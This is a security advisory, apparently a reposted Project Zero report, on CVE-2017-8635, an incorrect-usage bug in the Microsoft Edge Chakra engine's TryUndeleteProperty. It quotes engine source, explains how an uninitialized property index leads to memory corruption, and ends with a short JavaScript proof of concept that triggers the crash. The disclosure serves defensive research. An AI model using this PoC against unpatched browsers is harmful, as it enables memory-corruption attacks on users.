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Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Posted on 17 August 2017

Microsoft Edge: Chakra: Incorrect usage of TryUndeleteProperty

CVE-2017-8635

Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.

bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
DynamicObject *const object,
TPropertyIndex *const propertyIndex)
{
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
{
return false;
}

*propertyIndex = deletedPropertyIndex;
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
return true;
}

bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
DynamicObject *const object,
const TPropertyIndex existingPropertyIndex,
TPropertyIndex *const propertyIndex)
{
...

if(!IsReusablePropertyIndex(existingPropertyIndex))
{
return false;
}

...

const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
Assert(reused);

...
return true;
}

BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{
...
if (descriptor->Attributes & PropertyDeleted)
{
...
if(isUnordered)
{
TPropertyIndex propertyIndex;
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
{
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
descriptor = propertyMap->GetReferenceAt(propertyIndex);
}
}

if (IsNotExtensibleSupported)
{
bool isForce = (flags & PropertyOperation_Force) != 0;
if (!isForce)
{
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
{
return FALSE; <<------ (a)
}
}
}
...
descriptor->Attributes = PropertyDynamicTypeDefaults;
...
}
...
}

"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.

In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.

PoC:
const kNumProperties = 100;

let o = {};
for (let i = 0; i < kNumProperties; ++i)
o['a' + i] = i;

Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible

for (let i = 0; i < kNumProperties; ++i)
delete o['a' + i];

for (let i = 0; i < 0x1000; ++i)
o['a0'] = 1; // calling TryUndeleteProperty again again

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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